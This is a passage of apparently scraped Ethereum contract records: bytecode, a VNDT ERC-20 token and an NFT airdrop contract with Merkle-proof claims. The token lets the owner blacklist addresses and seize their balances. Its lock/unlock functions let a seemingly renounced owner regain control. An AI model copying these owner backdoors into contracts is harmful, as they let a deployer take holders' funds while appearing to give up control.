27fde9ad29f812de8a04855110118eb73fcdb46865390486a28701097f050be25e516e30f96d8b420a7c494506d2cd21d64f4d5ecb67d58c2ae99bf5e001097f02aa45ec320ea12beb804e35af3684dc981324dc9bd044592d1c408c052a432201097f026701dfe3cc76754a4ab893fef59886a43013ea6ba648efd82fd03941fa29100191508083828584878689888b8a8d8c8f8f097f01773ba95dbeaab6e5e9fc79ac153d46be1e57828e92287d698a3f4f87ef498401097e4e92d5f575fcaac9adedb4e0c3549dc18f61bc40e3752e3506f3761c32c6e301097f0580f9d95c2bd746c9210a87b0f9ed275afee1dde7a41d9ad5e69861ec0e43f601097f03e2dbef5f162784e13b5ff4c33bcbc444ad1546922b293d6783b5de5c5aba7801097f0596f89b6ca79194eb6a87c17692aa491f5b014da3cc7e5f05caf4fc1779c2dc01097f07e84842d5fff1666e01505f62661bcc822dd3fa530ebd1e4089230a4045a04f01097f05626d2ae9581d1d335bfc3863a4eaf3568ec8e70fcdae93f50a15b0cf601b6b019150808382858487868989097f068371fc7cb3e0670a73eb3a7e773ddb63f231c26bf25bb1fc1fe6e93a7e3bd001097f04d215dd42f87632a9cce2cb95081dc731e36796c3d2847dc96a3554231c6aef01097f0421fac0e48da8e6355c07f6a64bcea96384848e8ea9a7113ab45f15b1dd15aa01097f0679061e5f453c8bb1855dce8f7d61f2cb64b15d2c4e70b969ec4ead3fc6a2260191508082816125ce57fe5b06939250505056fea2646970667358221220585d8b42ace088145bfdfdb47884c41cf5c3a76190ef740c3ced9c1916e2a1c764736f6c634300060b0033
|
{"success": true, "error": null, "results": {}}
| 3,929 |
0x475d02372705c18a10b518d36b2135263e0045dc
|
/**
*Submitted for verification at Etherscan.io on 2021-06-22
*/
//SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
// silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {codehash := extcodehash(account)}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value : amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value : weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = now + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(now > _lockTime, "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
contract VNDTToken is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
string public symbol;
string public name;
uint256 public constant decimals = 8;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
address public deadWallet = address(0x000000000000000000000000000000000000dEaD);
mapping (address => bool) public isBlackListed;
uint public constant supplyNumber = 1000000 * 10 ** 9;
uint public constant powNumber = 10;
uint public constant TOKEN_SUPPLY_TOTAL = supplyNumber * powNumber ** decimals;
constructor() public {
symbol = "VNDT";
name = "VNDT";
_totalSupply = TOKEN_SUPPLY_TOTAL;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public view override returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view override returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public override returns (bool success) {
require(!isBlackListed[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function batchTransfer(address[] memory _receivers, uint256[] memory _amounts) public returns (bool) {
uint256 cnt = _receivers.length;
require(cnt > 0 && cnt <= 100);
require(cnt == _amounts.length);
cnt = (uint8)(cnt);
uint256 totalAmount = 0;
for (uint8 i = 0; i < cnt; i++) {
totalAmount = totalAmount.add(_amounts[i]);
}
require(totalAmount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(totalAmount);
for (uint256 i = 0; i < cnt; i++) {
balances[_receivers[i]] = balances[_receivers[i]].add(_amounts[i]);
emit Transfer(msg.sender, _receivers[i], _amounts[i]);
}
return true;
}
function approve(address spender, uint tokens) public override returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public override returns (bool success) {
require(!isBlackListed[from]);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return IERC20(tokenAddress).transfer(owner(), tokens);
}
function burnDead(uint256 _value) public {
require(balances[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[deadWallet] = balances[deadWallet].add(_value);
emit Transfer(msg.sender, deadWallet, _value);
}
function burnSupply(uint256 _value) public {
require(balances[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
_totalSupply -= _value;
emit BurnSupply(msg.sender, _value);
}
/////// Getters to allow the same blacklist to be used also by other contracts ///////
function getBlackListStatus(address _maker) external view returns (bool) {
return isBlackListed[_maker];
}
function addBlackList (address _evilUser) public onlyOwner {
isBlackListed[_evilUser] = true;
emit AddedBlackList(_evilUser);
}
function removeBlackList (address _clearedUser) public onlyOwner {
isBlackListed[_clearedUser] = false;
emit RemovedBlackList(_clearedUser);
}
function seizeBlackFunds (address _blackListedUser) public onlyOwner {
require(isBlackListed[_blackListedUser]);
uint dirtyFunds = balanceOf(_blackListedUser);
balances[_blackListedUser] = 0;
balances[address(this)] = balances[address(this)].add(dirtyFunds);
emit Transfer(_blackListedUser, address(this), dirtyFunds);
emit SeizeBlackFunds(_blackListedUser, dirtyFunds);
}
event SeizeBlackFunds(address _blackListedUser, uint _balance);
event AddedBlackList(address _user);
event RemovedBlackList(address _user);
event BurnSupply(address _user, uint _amount);
}
|
0x608060405234801561001057600080fd5b50600436106101cf5760003560e01c80638da5cb5b11610104578063cef9db6d116100a2578063dd62ed3e11610071578063dd62ed3e146105c5578063e47d6060146105f3578063e4997dc514610619578063f2fde38b1461063f576101cf565b8063cef9db6d14610557578063d595c3311461055f578063dc39d06d1461057c578063dd467064146105a8576101cf565b8063a9059cbb116100de578063a9059cbb146104fe578063b373e5531461052a578063b6c5232414610532578063c77d4f711461053a576101cf565b80638da5cb5b146104e657806395d89b41146104ee578063a69df4b5146104f6576101cf565b80635313461b1161017157806370a082311161014b57806370a082311461036d578063715018a61461039357806385141a771461039b57806388d695b2146103bf576101cf565b80635313461b1461031957806353f52e9f1461032157806359bf1abe14610347576101cf565b806318160ddd116101ad57806318160ddd146102b957806323b872dd146102d3578063313ce567146103095780633eaaf86b14610311576101cf565b806306fdde03146101d4578063095ea7b3146102515780630ecb93c014610291575b600080fd5b6101dc610665565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102165781810151838201526020016101fe565b50505050905090810190601f1680156102435780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61027d6004803603604081101561026757600080fd5b506001600160a01b0381351690602001356106f3565b604080519115158252519081900360200190f35b6102b7600480360360208110156102a757600080fd5b50356001600160a01b0316610759565b005b6102c161080c565b60408051918252519081900360200190f35b61027d600480360360608110156102e957600080fd5b506001600160a01b0381358116916020810135909116906040013561083e565b6102c161094b565b6102c1610950565b6102c1610956565b6102b76004803603602081101561033757600080fd5b50356001600160a01b031661095b565b61027d6004803603602081101561035d57600080fd5b50356001600160a01b0316610a9d565b6102c16004803603602081101561038357600080fd5b50356001600160a01b0316610abb565b6102b7610ad6565b6103a3610b66565b604080516001600160a01b039092168252519081900360200190f35b61027d600480360360408110156103d557600080fd5b8101906020810181356401000000008111156103f057600080fd5b82018360208201111561040257600080fd5b8035906020019184602083028401116401000000008311171561042457600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929594936020810193503591505064010000000081111561047457600080fd5b82018360208201111561048657600080fd5b803590602001918460208302840111640100000000831117156104a857600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610b75945050505050565b6103a3610d45565b6101dc610d54565b6102b7610daf565b61027d6004803603604081101561051457600080fd5b506001600160a01b038135169060200135610e9d565b6102c1610f4c565b6102c1610f57565b6102b76004803603602081101561055057600080fd5b5035610f5d565b6102c1611010565b6102b76004803603602081101561057557600080fd5b503561101e565b61027d6004803603604081101561059257600080fd5b506001600160a01b0381351690602001356110af565b6102b7600480360360208110156105be57600080fd5b503561119a565b6102c1600480360360408110156105db57600080fd5b506001600160a01b0381358116916020013516611238565b61027d6004803603602081101561060957600080fd5b50356001600160a01b0316611263565b6102b76004803603602081101561062f57600080fd5b50356001600160a01b0316611278565b6102b76004803603602081101561065557600080fd5b50356001600160a01b0316611328565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106eb5780601f106106c0576101008083540402835291602001916106eb565b820191906000526020600020905b8154815290600101906020018083116106ce57829003601f168201915b505050505081565b3360008181526007602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b61076161140e565b6000546001600160a01b039081169116146107b1576040805162461bcd60e51b81526020600482018190526024820152600080516020611573833981519152604482015290519081900360640190fd5b6001600160a01b038116600081815260096020908152604091829020805460ff19166001179055815192835290517f42e160154868087d6bfdc0ca23d96a1c1cfa32f1b72ba9ba27b69b98a0d819dc9281900390910190a150565b6000805260066020527f54cdd369e4e8a8515e52ca72ec816c2101831ad1f18bf44102ed171459c9b4f8546005540390565b6001600160a01b03831660009081526009602052604081205460ff161561086457600080fd5b6001600160a01b0384166000908152600660205260409020546108879083611412565b6001600160a01b03851660009081526006602090815260408083209390935560078152828220338352905220546108be9083611412565b6001600160a01b0380861660009081526007602090815260408083203384528252808320949094559186168152600690915220546108fc908361145b565b6001600160a01b0380851660008181526006602090815260409182902094909455805186815290519193928816926000805160206115b383398151915292918290030190a35060019392505050565b600881565b60055481565b600a81565b61096361140e565b6000546001600160a01b039081169116146109b3576040805162461bcd60e51b81526020600482018190526024820152600080516020611573833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526009602052604090205460ff166109d857600080fd5b60006109e382610abb565b6001600160a01b038316600090815260066020526040808220829055308252902054909150610a12908261145b565b30600081815260066020908152604091829020939093558051848152905191926001600160a01b038616926000805160206115b38339815191529281900390910190a3604080516001600160a01b03841681526020810183905281517fdfe86ca8e9fe82a2329188a315223d7ec14a12bd009afde276022a4a01154b09929181900390910190a15050565b6001600160a01b031660009081526009602052604090205460ff1690565b6001600160a01b031660009081526006602052604090205490565b610ade61140e565b6000546001600160a01b03908116911614610b2e576040805162461bcd60e51b81526020600482018190526024820152600080516020611573833981519152604482015290519081900360640190fd5b600080546040516001600160a01b0390911690600080516020611593833981519152908390a3600080546001600160a01b0319169055565b6008546001600160a01b031681565b81516000908015801590610b8a575060648111155b610b9357600080fd5b82518114610ba057600080fd5b60ff166000805b828160ff161015610be557610bdb858260ff1681518110610bc457fe5b60200260200101518361145b90919063ffffffff16565b9150600101610ba7565b5033600090815260066020526040902054811115610c0257600080fd5b33600090815260066020526040902054610c1c9082611412565b336000908152600660205260408120919091555b82811015610d3957610c96858281518110610c4757fe5b602002602001015160066000898581518110610c5f57fe5b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000205461145b90919063ffffffff16565b60066000888481518110610ca657fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002081905550858181518110610cde57fe5b60200260200101516001600160a01b0316336001600160a01b03166000805160206115b3833981519152878481518110610d1457fe5b60200260200101516040518082815260200191505060405180910390a3600101610c30565b50600195945050505050565b6000546001600160a01b031690565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106eb5780601f106106c0576101008083540402835291602001916106eb565b6001546001600160a01b03163314610df85760405162461bcd60e51b81526004018080602001828103825260238152602001806115d36023913960400191505060405180910390fd5b6002544211610e4e576040805162461bcd60e51b815260206004820152601f60248201527f436f6e7472616374206973206c6f636b656420756e74696c2037206461797300604482015290519081900360640190fd5b600154600080546040516001600160a01b03938416939091169160008051602061159383398151915291a3600154600080546001600160a01b0319166001600160a01b03909216919091179055565b3360009081526009602052604081205460ff1615610eba57600080fd5b33600090815260066020526040902054610ed49083611412565b33600090815260066020526040808220929092556001600160a01b03851681522054610f00908361145b565b6001600160a01b0384166000818152600660209081526040918290209390935580518581529051919233926000805160206115b38339815191529281900390910190a350600192915050565b66038d7ea4c6800081565b60025490565b33600090815260066020526040902054811115610f7957600080fd5b33600090815260066020526040902054610f939082611412565b33600090815260066020526040808220929092556008546001600160a01b031681522054610fc1908261145b565b600880546001600160a01b039081166000908152600660209081526040918290209490945591548251858152925191169233926000805160206115b3833981519152929081900390910190a350565b69152d02c7e14af680000081565b3360009081526006602052604090205481111561103a57600080fd5b336000908152600660205260409020546110549082611412565b3360008181526006602090815260409182902093909355600580548590039055805191825291810183905281517ff034c8ef36a776c16481660ebabfc5fefb012d0216bdca1e319e505139ddd8c2929181900390910190a150565b60006110b961140e565b6000546001600160a01b03908116911614611109576040805162461bcd60e51b81526020600482018190526024820152600080516020611573833981519152604482015290519081900360640190fd5b826001600160a01b031663a9059cbb611120610d45565b846040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561116757600080fd5b505af115801561117b573d6000803e3d6000fd5b505050506040513d602081101561119157600080fd5b50519392505050565b6111a261140e565b6000546001600160a01b039081169116146111f2576040805162461bcd60e51b81526020600482018190526024820152600080516020611573833981519152604482015290519081900360640190fd5b60008054600180546001600160a01b03199081166001600160a01b038416179091551681554282016002556040518190600080516020611593833981519152908290a350565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b60096020526000908152604090205460ff1681565b61128061140e565b6000546001600160a01b039081169116146112d0576040805162461bcd60e51b81526020600482018190526024820152600080516020611573833981519152604482015290519081900360640190fd5b6001600160a01b038116600081815260096020908152604091829020805460ff19169055815192835290517fd7e9ec6e6ecd65492dce6bf513cd6867560d49544421d0783ddf06e76c24470c9281900390910190a150565b61133061140e565b6000546001600160a01b03908116911614611380576040805162461bcd60e51b81526020600482018190526024820152600080516020611573833981519152604482015290519081900360640190fd5b6001600160a01b0381166113c55760405162461bcd60e51b815260040180806020018281038252602681526020018061154d6026913960400191505060405180910390fd5b600080546040516001600160a01b038085169392169160008051602061159383398151915291a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b3390565b600061145483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506114b5565b9392505050565b600082820183811015611454576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600081848411156115445760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156115095781810151838201526020016114f1565b50505050905090810190601f1680156115365780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50505090039056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65728be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef596f7520646f6e27742068617665207065726d697373696f6e20746f20756e6c6f636ba26469706673582212207e5b3fa7d53da4c10b4caa83f74baca3b1eba27d062d0be51430080ba043ec5164736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 3,930 |
0x9C8AD5397719bBe1e5Fc4E4f1b8CEbdFc2d7ED6c
|
// SPDX-License-Identifier: NONE
pragma solidity 0.8.3;
// Part: ERC721TokenReceiver
/// @dev Note: the ERC-165 identifier for this interface is 0x150b7a02.
interface ERC721TokenReceiver {
/// @notice Handle the receipt of an NFT
/// @dev The ERC721 smart contract calls this function on the recipient
/// after a `transfer`. This function MAY throw to revert and reject the
/// transfer. Return of other than the magic value MUST result in the
/// transaction being reverted.
/// Note: the contract address is always the message sender.
/// @param _operator The address which called `safeTransferFrom` function
/// @param _from The address which previously owned the token
/// @param _tokenId The NFT identifier which is being transferred
/// @param _data Additional data with no specified format
/// @return `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
/// unless throwing
function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes memory _data) external returns(bytes4);
}
// Part: EvohERC721
contract EvohERC721 {
string public name;
string public symbol;
uint256 public totalSupply;
mapping(bytes4 => bool) public supportsInterface;
struct UserData {
uint256 balance;
uint256[4] ownership;
}
mapping(address => UserData) userData;
address[1024] tokenOwners;
address[1024] tokenApprovals;
mapping(uint256 => string) tokenURIs;
mapping (address => mapping (address => bool)) private operatorApprovals;
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
constructor(string memory _name, string memory _symbol) {
name = _name;
symbol = _symbol;
supportsInterface[_INTERFACE_ID_ERC165] = true;
supportsInterface[_INTERFACE_ID_ERC721] = true;
supportsInterface[_INTERFACE_ID_ERC721_METADATA] = true;
supportsInterface[_INTERFACE_ID_ERC721_ENUMERABLE] = true;
}
/// @notice Count all NFTs assigned to an owner
function balanceOf(address _owner) external view returns (uint256) {
require(_owner != address(0), "Query for zero address");
return userData[_owner].balance;
}
/// @notice Find the owner of an NFT
function ownerOf(uint256 tokenId) public view returns (address) {
if (tokenId < 1024) {
address owner = tokenOwners[tokenId];
if (owner != address(0)) return owner;
}
revert("Query for nonexistent tokenId");
}
function _transfer(address _from, address _to, uint256 _tokenId) internal {
require(_from != address(0));
require(_to != address(0));
address owner = ownerOf(_tokenId);
if (
msg.sender == owner ||
getApproved(_tokenId) == msg.sender ||
isApprovedForAll(owner, msg.sender)
) {
delete tokenApprovals[_tokenId];
removeOwnership(_from, _tokenId);
addOwnership(_to, _tokenId);
emit Transfer(_from, _to, _tokenId);
return;
}
revert("Caller is not owner nor approved");
}
/// @notice Transfers the ownership of an NFT from one address to another address
/// @dev Throws unless `msg.sender` is the current owner, an authorized
/// operator, or the approved address for this NFT. Throws if `_from` is
/// not the current owner. Throws if `_to` is the zero address. Throws if
/// `_tokenId` is not a valid NFT. When transfer is complete, this function
/// checks if `_to` is a smart contract (code size > 0). If so, it calls
/// `onERC721Received` on `_to` and throws if the return value is not
/// `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`.
/// @param _from The current owner of the NFT
/// @param _to The new owner
/// @param _tokenId The NFT to transfer
/// @param _data Additional data with no specified format, sent in call to `_to`
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes memory _data) public {
_transfer(_from, _to, _tokenId);
require(_checkOnERC721Received(_from, _to, _tokenId, _data), "Transfer to non ERC721 receiver");
}
function removeOwnership(address _owner, uint256 _tokenId) internal {
UserData storage data = userData[_owner];
data.balance -= 1;
uint256 idx = _tokenId / 256;
uint256 bitfield = data.ownership[idx];
data.ownership[idx] = bitfield & ~(uint256(1) << (_tokenId % 256));
}
function addOwnership(address _owner, uint256 _tokenId) internal {
tokenOwners[_tokenId] = _owner;
UserData storage data = userData[_owner];
data.balance += 1;
uint256 idx = _tokenId / 256;
uint256 bitfield = data.ownership[idx];
data.ownership[idx] = bitfield | uint256(1) << (_tokenId % 256);
}
/// @notice Transfers the ownership of an NFT from one address to another address
/// @dev This works identically to the other function with an extra data parameter,
/// except this function just sets data to "".
/// @param _from The current owner of the NFT
/// @param _to The new owner
/// @param _tokenId The NFT to transfer
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external {
safeTransferFrom(_from, _to, _tokenId, bytes(""));
}
/// @notice Transfer ownership of an NFT -- THE CALLER IS RESPONSIBLE
/// TO CONFIRM THAT `_to` IS CAPABLE OF RECEIVING NFTS OR ELSE
/// THEY MAY BE PERMANENTLY LOST
/// @dev Throws unless `msg.sender` is the current owner, an authorized
/// operator, or the approved address for this NFT. Throws if `_from` is
/// not the current owner. Throws if `_to` is the zero address. Throws if
/// `_tokenId` is not a valid NFT.
/// @param _from The current owner of the NFT
/// @param _to The new owner
/// @param _tokenId The NFT to transfer
function transferFrom(address _from, address _to, uint256 _tokenId) external {
_transfer(_from, _to, _tokenId);
}
/// @notice Change or reaffirm the approved address for an NFT
function approve(address approved, uint256 tokenId) public {
address owner = ownerOf(tokenId);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender),
"Not owner nor approved for all"
);
tokenApprovals[tokenId] = approved;
emit Approval(owner, approved, tokenId);
}
/// @notice Get the approved address for a single NFT
function getApproved(uint256 tokenId) public view returns (address) {
ownerOf(tokenId);
return tokenApprovals[tokenId];
}
/// @notice Enable or disable approval for a third party ("operator") to manage
/// all of `msg.sender`'s assets
function setApprovalForAll(address operator, bool approved) external {
operatorApprovals[msg.sender][operator] = approved;
emit ApprovalForAll(msg.sender, operator, approved);
}
/// @notice Query if an address is an authorized operator for another address
function isApprovedForAll(address owner, address operator) public view returns (bool) {
return operatorApprovals[owner][operator];
}
/// @notice Concatenates tokenId to baseURI and returns the string.
function tokenURI(uint256 tokenId) public view returns (string memory) {
ownerOf(tokenId);
return tokenURIs[tokenId];
}
/// @notice Enumerate valid NFTs
function tokenByIndex(uint256 _index) external view returns (uint256) {
require(_index < totalSupply, "Index out of bounds");
return _index;
}
/// @notice Enumerate NFTs assigned to an owner
function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256) {
UserData storage data = userData[_owner];
require (_index < data.balance, "Index out of bounds");
uint256 bitfield;
uint256 count;
for (uint256 i = 0; i < 1024; i++) {
uint256 key = i % 256;
if (key == 0) {
bitfield = data.ownership[i / 256];
}
if ((bitfield >> key) & uint256(1) == 1) {
if (count == _index) {
return i;
}
count++;
}
}
revert();
}
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
)
private
returns (bool)
{
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(to) }
if (size == 0) {
return true;
}
(bool success, bytes memory returnData) = to.call{ value: 0 }(
abi.encodeWithSelector(
ERC721TokenReceiver(to).onERC721Received.selector,
msg.sender,
from,
tokenId,
_data
)
);
require(success, "Transfer to non ERC721 receiver");
bytes4 returnValue = abi.decode(returnData, (bytes4));
return (returnValue == _ERC721_RECEIVED);
}
}
// File: Claimable.sol
contract EvohClaimable is EvohERC721 {
uint256 public maxTotalSupply;
bytes32 public hashRoot;
address public owner;
struct ClaimData {
bytes32 root;
uint256 count;
uint256 limit;
mapping(address => bool) claimed;
}
ClaimData[] public claimData;
constructor(
string memory _name,
string memory _symbol,
bytes32 _hashRoot,
uint256 _maxTotalSupply
)
EvohERC721(_name, _symbol)
{
owner = msg.sender;
hashRoot = _hashRoot;
maxTotalSupply = _maxTotalSupply;
}
function addClaimRoots(bytes32[] calldata _merkleRoots, uint256[] calldata _claimLimits) external {
require(msg.sender == owner);
for (uint256 i = 0; i < _merkleRoots.length; i++) {
ClaimData storage data = claimData.push();
data.root = _merkleRoots[i];
data.limit = _claimLimits[i];
}
}
function isClaimed(uint256 _claimIndex, address _account) public view returns (bool) {
return claimData[_claimIndex].claimed[_account];
}
/**
@notice Claim an NFT using an eligible account
@dev Claiming requires two proofs. The "claim proof" validates that the calling
address is eligible to claim the airdrop. The "hash proof" valides that the
given IPFS hash for the airdropped NFT is valid, and comes next within the
sequence of claimable hashes.
@param _claimIndex Index of the claim hash to validate `_claimProof` against
@param _hashIndex Index of the hash proof being used. Hash proofs must be
provided sequentially in order to be valid.
@param _hash IPFS hash of the NFT being claimed
@param _claimProof Proof to validate against the claim root
@param _hashProof Proof to validate against the hash root
*/
function claim(
uint256 _claimIndex,
uint256 _hashIndex,
string calldata _hash,
bytes32[] calldata _claimProof,
bytes32[] calldata _hashProof
)
external
{
uint256 claimed = totalSupply;
require(maxTotalSupply > claimed, "All NFTs claimed");
// Verify the NFT hash
bytes32 node = keccak256(abi.encodePacked(_hashIndex, _hash));
require(_hashIndex == claimed, "Incorrect hash index");
require(verify(_hashProof, hashRoot, node), "Invalid hash proof");
// Verify the claim
node = keccak256(abi.encodePacked(msg.sender));
ClaimData storage data = claimData[_claimIndex];
require(_claimIndex < claimData.length, "Invalid merkleIndex");
require(data.count < data.limit, "All NFTs claimed in this airdrop");
require(!data.claimed[msg.sender], "User has claimed in this airdrop");
require(verify(_claimProof, data.root, node), "Invalid claim proof");
// Mark as claimed, write the hash and send the token.
data.count++;
data.claimed[msg.sender] = true;
tokenURIs[claimed] = _hash;
addOwnership(msg.sender, claimed);
emit Transfer(address(0), msg.sender, claimed);
totalSupply = claimed + 1;
}
function verify(
bytes32[] calldata proof,
bytes32 root,
bytes32 leaf
)
internal
pure
returns (bool)
{
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
